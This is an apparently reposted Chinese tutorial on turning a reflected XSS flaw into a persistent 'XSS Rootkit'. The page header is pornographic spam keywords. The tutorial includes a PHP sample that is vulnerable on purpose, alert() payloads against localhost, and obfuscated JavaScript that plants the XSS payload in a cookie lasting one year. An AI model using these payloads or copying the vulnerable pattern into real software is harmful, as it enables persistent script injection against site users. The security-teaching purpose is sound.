压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

深掘XSS漏洞場景之XSS Rootkit

  前言

  眾所周知[[:Category:Xss(跨站)|XSS漏洞]]的風險定義一直比較模糊,[[:Category:Xss(跨站)|XSS漏洞]]屬于高危[http://sebug.net/ 漏洞]還是低風險漏洞一直以來都有所爭議。XSS漏洞類型分為兩種持久型和非持久型:

  ##非持久型XSS漏洞一般存在于URL參數中,需要訪問黑客構造好的特定URL才能觸發漏洞。

  ##持久型XSS漏洞一般存在于富文本等交互功能,如發帖留言等,黑客可以用XSS內容經正常功能進入數據庫持久保存。

  一般持久型XSS漏洞比非持久型XSS漏洞風險等級高,從漏洞的本質上來說這是沒錯的,但漏洞的利用仍然需要看場景,有時候更深入的看待場景能夠挖掘出意想不到的東西,大家接著往下看。

  漏洞場景解析

  首先我給出一段PHP的XSS漏洞的簡單代碼:

  1.//demo.php

  2.foreach(Array('_GET','_POST','_COOKIE') as $_request)

  3.{

  4.foreach($$_request as $_k => $_v) ${$_k} = $_v;

  5.}

  6.?>

  7.<a href="<? echo $_SERVER["PHP_SELF"]; ?>?i=<? echo $id;?>">分頁</a>

  這段PHP代碼中模擬register_globals是Web程序中常見的,代碼中輸出了網頁的分頁鏈接這個也是常見的,因為忽略了對傳入數據的效驗,更產生了最常見的XSS漏洞。

  下面是這個XSS漏洞的驗證方法:

  http://127.0.0.1/demo.php?id=1"><script>alert(1)</script>

  GET方法在id參數中傳入HTML內容,導致網頁內容中的herf閉合,執行script標簽里的腳本內容:

  <a href="/demo.php?id=1"><script>alert(1)</script>">分頁</a>

  這是一個典型的非持久型XSS漏洞,在常規的思維邏輯下,這個漏洞到這里基本就打止了,本文也馬上要變為普通的科普文了,然而事實并沒有那么簡單,這個漏洞場景再深入挖掘,就牽出了本文的重頭戲。

  XSS Rootkit實現方法

  我們知道現今流行的PHP Web程序的核心代碼第一件事便是模擬register_globals,通過GPC直接注冊變量方便整個程序的運作。所以本文的重點來了,在這個場景下,我們的demo.php不僅可以GET傳參,還能接受COOKIE的數據,而COOKIE是客戶端瀏覽器的持久化數據,如果通過XSS漏洞設置COOKIE,我們完全可以把這個典型的非持久型XSS漏洞變成持久的,說到這里大家一定非常興奮了,我就來實際測試一下:

  先寫出一段設置cookie的javascript代碼

  1.Persistence_data=’”><script>alert(/xss/)</script>’;

  2.var date=new Date();

  3.var expireDays=365; //設置COOKIE一年后失效

  4.date.setTime(date.getTime()+expireDays*24*3600*1000);

  5.document.cookie=’id=’+Persistence_data+’;expires=’+date.toGMTString(); //設置cookie的id參數值為XSS代碼

  把設置COOKIE的javascript代碼編碼一次,放入XSS URL中,這樣防止GPC和不同瀏覽器編碼的未知情況,然后我們訪問下面的URL。

  1.http://127.0.0.1/demo.php?id=1"><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,47,41,60,47,115,99,114,105,112,116,62,39,59,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,105,100,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59))</script>

  結果令人非常滿意,由于模擬registerglobals的變量注冊順序是GPC,當然程序員模擬registerglobals的變量注冊順序不同也會影響這個效果,由于COOKIE的變量注冊總是最后生效的,所以我們關閉瀏覽器無論是訪問http://127.0.0.1/demo.php還是訪問http://127.0.0.1/demo.php?id=1,我們的XSS代碼都會生效,同時如果客戶端未清理COOKIE,這個XSS漏洞將有效一年的時間,一個不起眼的低風險漏洞立馬轉變為一個令人如此興奮的XSS Rootkit。

  后話

  一些web漏洞掃描器報告中提示非持久型XSS漏洞標為高危漏洞,普遍存在爭議的情況,可以根據本文做參考,對場景再深入挖掘,那么本文的目的也就達到了

  至此我們用非持久型XSS漏洞完成了一次到XSS Rootkit的轉變,再一次揭示了漏洞的場景有多么重要,深掘漏洞場景完成一次本質的升華是多么美妙的事情

 

上一篇:安卓防火墻 PS DroidWall

下一篇:CSRFScanner